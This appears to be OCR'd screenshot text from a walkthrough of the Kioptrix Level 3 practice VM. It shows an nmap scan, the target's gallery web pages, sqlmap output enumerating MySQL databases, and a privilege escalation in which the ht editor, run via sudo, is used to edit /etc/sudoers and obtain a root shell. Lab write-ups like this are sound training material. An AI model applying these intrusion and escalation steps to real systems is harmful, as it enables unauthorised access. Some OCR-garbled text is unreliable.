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nmap -A -T4 -p 1-65535 16.16.16.180

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 15:16 CST
Nmap scan report for 16.16.16.180
Host is up (©.00055s latency).

Not shown: 65533 closed ports
STATE SERVICE VERSION

22/tcp open ssh OpenSSH 4.7pl1 Debian 8ubuntul.2 (protocol 2.0)
ssh-hostkey:
1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
http-cookie-flags:

/:
PHPSESSID:
httponly flag not set

_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:EE:A2:36 (VMware)
Device type: general purpose
Running: Linux 2.6.X

0S CPE: cpe:/o:linux:linux_kernel:2.6
0S details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel
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Ligoat Security

Got Goat? Security ...

Got Goat? Security ...

information on our new gallery system.

Or cut to the chase and s{e it now!

e e e |

We've revamped our website for the new release ofthe new gallery CMS we made. We are geared towards security...

We are so full of ourselves, we've putthis on our dev-servers just to show how serious we are. Visit our blog section for more

© 2011 Ligoat Security
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ining KaliTools = Kali Docs Kali Forums MetHunter || Offensive Security Exploit-DB GHDB | MSFU

qu_t_ uu_q[‘.{, R—

Home » Ligoat Press Room

Quick Links: Home Recent Photos

Displaying Photos 1 to 3 of 3

Getting ready for GNN In the know... Photo Shoot

Hours before software's
release!

New picture for new book

File Name

Photo Id

File Mame
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] [INFO] the back-end DBMS is MySOL
back-end DBEMS: MySQL = 4.1
[ [INFO] fetching
[ resumed:
[ 1 resumed:
[ 1 resumed:
atabases [3]:

[
|
avallable d
(*] gallery

[#] information_schema
[#] mysqgl
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<T1TLe>LAllariTic</Titie>
<meta name="description" content="" />
<meta name="keywords" content="" />
<base href="http://kioptrix3.com/gallery/"></base>
<link rel="stylesheet" href="themes/black/style.css" type="text/css" media="screen" />
<script type="text/javascript" src="themes/black/javascript.js"></script>
</head>
<body>
<center>
<table id="container" cellspacing="0" cellpadding="0">
<tr>
<td id="logo">
<a href="index.php"><img src="themes/black/images/logo.gif" width="215" height="61" border="0" /></a>
</td>
</tr>
</table>

<table id="main" cellspacing="0" cellpadding="0">
<tr> <td class="heading"> <a href="index.php">Home</a> &raquo; <a href="g.php/1">Ligoat Press Room</a> </td> <td class="heading" align="right" width='50%' valign='top'> </td></tr>

<!-- links: output quick links for gallery --=
<tr>
<td colspan="2" class="text count">
<center>
<table>

</form>
</center>
</td>
</tr>
<!-- links_end -->

<tr>

<td colspan="2">

</td>

</tr>
<tr>

<td colspan="2">

<!-- gallery_photo grid: output 4x1 rows containing photos in this gallery --><a name='photos'></a><tr> <td colspan="2" class="heading">Displaying Photos 1 to 3 of 3 </td></tr><tr>
</tr>
</table>
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DEBLLLTGE Galleries Photos Users Presentation Settings
Dashboard

’ Upgrade to the Gallarific Paid Version today to enjoy features such as photo uploads by users, p P! d galleries, bulk uploads, and more! ‘

Welcome to Gallarific

Use these links to get started:
Recently Uploaded Photos

* Create a new gallery
* Upload a photo or bulk upload

* View comments
* Theme your gallery

There are no pending comments.
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admin.d
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3¢ loneferret/starwars & H 3¢ T A~ CompanyPolicy.README

r installed softwar

to do so L1 ) ermination.
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File Edit Windows Help
=[] log window

19:33 20.08.2020

ht 2.8.18 (POSIX) @7:26:82 on Apr 16 2811

(c) 1999-2004 Stefan Weyergraf

(c) 1999-2009 Sebastian Biallas <sb@biallas.net>
appname = ht

config = /home/loneferret/.htcfg2

F3FTJF /etc/sudoers , il I /bin/bash

File Edit Windows Help Texteditor

=[] /etc/sudoers
£ /etc/sudoers

i

# This file MUST be edited with the 'visudo' command as root.
i

# See the man page for details on how to write a sudoers file.
#

Defaults env_reset

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification

root ALL=(ALL) ALL

loneferret ALL=NOPASSWD: !/usr/bin/su, /fusr/local/bin/ht, /bin/bash
# Uncomment to allow members of group sudo to not need a password

# (Note that later entries override this, so you might need to move

# it further down)
# %sudo ALL=NOPASSWD: ALL

# Members of the admin group may gain root privileges
%admin ALL={ALL) ALL

F2UR77)5, AT sudo /bin/bash Bt A B CLIRBUNT)




loneferret@Kioptrix3:~% sudo /bin/bash
root@Kioptrix3:~# 1id

uid=@(root) gid=@(root) groups=8(root)
root@Kioptrix3:~# |
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